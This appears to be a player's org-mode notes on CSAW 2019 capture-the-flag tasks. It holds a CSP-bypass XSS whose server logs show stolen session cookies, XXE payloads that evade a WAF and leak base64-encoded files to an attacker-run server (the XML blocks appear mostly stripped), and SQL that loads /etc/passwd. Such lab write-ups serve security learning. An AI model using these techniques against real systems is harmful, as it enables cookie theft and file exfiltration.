#+TODO: TODO SKIPPED INPROGRESS | DONE * DONE Misc: mcgriddlev2 Copy-paste the flag * SKIPPED Pwn: baby_boi * SKIPPED Rev: beleaf * DONE Crypto: byte_me Network service that sends a line of hex, then enters a loop where you can enter something and get longer hex back. Trying a bunch of inputs the following can be observed: - If you enter "flag{", in some sessions the output matches up with the initial line of hex - If you enter the same character often the blocks repeat - The block size appears to be 32 chars - The repeating blocks are in the middle, suggesting that there's random text inserted before and after user input, then encrypted in ECB mode So it's Cryptopals #14 (AKA Natas #28), except I have to do it with pwntools to do the interactive bits. pwntools exists for Ruby, so the port is not too hard to do. The script eventually spits out the following suffix: #+BEGIN_QUOTE flag{y0u_kn0w_h0w_B10cks_Are_n0T_r31iab13...} #+END_QUOTE * SKIPPED Pwn: GOT Milk? * DONE babycsp Useful notes: https://csp-evaluator.withgoogle.com/ https://www.slideshare.net/LukasWeichselbaum/breaking-bad-csp https://github.com/zigoo0/JSONBee Payload: #+BEGIN_SRC html #+END_SRC Incoming requests: #+BEGIN_QUOTE 91.121.107.198 - - [14/Sep/2019 19:45:34] code 404, message File not found 91.121.107.198 - - [14/Sep/2019 19:45:34] "GET /c=PHPSESSID=ffffffffffffffffffffffffffffffffffff HTTP/1.1" 404 - 216.165.2.60 - - [14/Sep/2019 19:45:43] code 404, message File not found 216.165.2.60 - - [14/Sep/2019 19:45:43] "GET /c=session=eyJ1dWlkIjp7IiBiIjoiWW05MGRYTmxjZz09In19.XX0nQQ.LRH1nvri8331RPozt7xMHyOvOc8;%20flag=flag%7Bcsp_will_solve_EVERYTHING%7D HTTP/1.1" 404 - #+END_QUOTE Flag: #+BEGIN_QUOTE flag{csp_will_solve_EVERYTHING} #+END_QUOTE * SKIPPED Rev: Callsite Ugh, huge binary * SKIPPED Pwn: Twitch plays shellcode That's just ridiculous. You vote on what byte to edit to which value using a text chat and the output is posted for all to see, yet there's just one solve. * SKIPPED Crypto: count_on_me This looks annoying. The sources suggest that you may provide a seed to the network service which is then used to generate key streams to encrypt the flag with. * SKIPPED Pwn: small_boi * SKIPPED Crypto: time.lie The fake PPTX file is actually an archive containing the website sources. They suggest that if you upload the right kind of file, it hands you shares that are part of Shamir's Secret Sharing system. Except it deletes the files with a low probability, ruining your work on figuring this one out. No, thanks. * SKIPPED Rev: Gibberish Check Ugh, C++ * DONE Web: unagi XML uploader using PHP. This screams XXE, but is rather tricky to pull off as you get only two different messages out of it: - Upload successful, with the user list - Upload blocked by WAF Uploading non-XML is blocked, uploading invalid XML isn't, uploading a XXE payload is blocked. You can distinguish between invalid and valid XML by looking at whether the new users were returned or not. The WAF blocks the following: - =SYSTEM= keyword - =ENTITY= keyword This can be worked around by encoding the file as UTF-16. The script happily processes the file without the WAF triggering, here's a sample one before encoding with =iconv -f UTF-8 -t UTF-16 < in.xml > out.xml=: #+BEGIN_SRC xml ]> alice passwd1 &rrr; alice@fakesite.com CSAW2019 bob passwd2 Bob bob@fakesite.com CSAW2019 #+END_SRC I modified this into the following to ping a server I control: #+BEGIN_SRC xml %asd; %c; ]> alice passwd1 &rrr; alice@fakesite.com CSAW2019 bob passwd2 Bob bob@fakesite.com CSAW2019 #+END_SRC The evil DTD: #+BEGIN_SRC xml "> #+END_SRC This required several modifications until leaking file contents. It turns out that newlines can't be transmitted successfully via =http://= and =ftp://= protocols. I verified that files can be leaked by injecting the contents of =/proc/self/sessionid= (which doesn't contain a newline). The problem can be worked around by using a PHP stream wrapper encoding the file contents as base64: #+BEGIN_SRC xml "> #+END_SRC Incoming request: #+BEGIN_QUOTE 216.165.2.60 - - [15/Sep/2019 17:01:59] "GET /QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= #+END_QUOTE Decoded: #+BEGIN_QUOTE AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA #+END_QUOTE * SKIPPED Pwn: travller * DONE Crypto: DES 2 Bites DES, seriously? A message is encrypted using two different keys, then encoded in the most obnoxious manner possible. The hints suggest weak keys are used, Wikipedia lists some of them. I wrote some code undoing that encoding and tried decrypting the result using all possible combinations, but nothing worked so far. I guess I'll need to find the full list of them... https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-67r1.pdf That did indeed work * SKIPPED Pwn: Popping Caps * INPROGRESS Web: Secure File Storage Files are encrypted client-side using JS, saved in local storage and an API call saves them on the server. No idea how to extract them. The hint suggests the admin visits the pages, but which ones? * SKIPPED Crypto: SuperCurve Ugh, ECC * SKIPPED Rev: wizkid * SKIPPED Pwn: Popping Caps 2 * INPROGRESS Crypto: Fault Box RSA as a service. I guess the title means I should do fault injection or something. You only get two tries and every 300s the server randomizes the seed for some fucked up reason. * INPROGRESS Web: SaaSy User input is evaluated as SQL, but none of the output makes it back. The goal is to exfiltrate the flag. Using a script I did some blind SQL injection to test whether there's anything useful in the database, but no, it appears to be stock. The =load_file= function returns =NULL=, but there may be a different way. Looking at the tarball the config option =local-infile=TRUE= and the =Create_tmp_table_priv= for =scream_user= look relevant as they enable the following: #+BEGIN_SRC sql CREATE TEMPORARY TABLE scream(line VARCHAR(100)); LOAD DATA LOCAL INFILE '/etc/passwd INTO TABLE scream; SELECT COUNT(*) FROM scream; #+END_SRC Except that running that with a time-based blind SQLi construct at the end doesn't indicate success. I must be missing something and it's hard to debug what. https://dev.mysql.com/doc/refman/8.0/en/load-data.html https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html * SKIPPED Pwn: TVM * SKIPPED Pwn: Pop Goes the Printer * INPROGRESS Web: Buyify The description suggests outdated dependencies. The website loads up a slightly outdated version of Purify, a powerful XSS filter. According to the changelog the release afterwards changed it to return strings instead of bespoke objects. I'm not sure how this is supposed to be security-relevant, but oh well, I'll find out after the CTF. * SKIPPED Rev: halfpike * SKIPPED Crypto: brillouin Ugh, ECC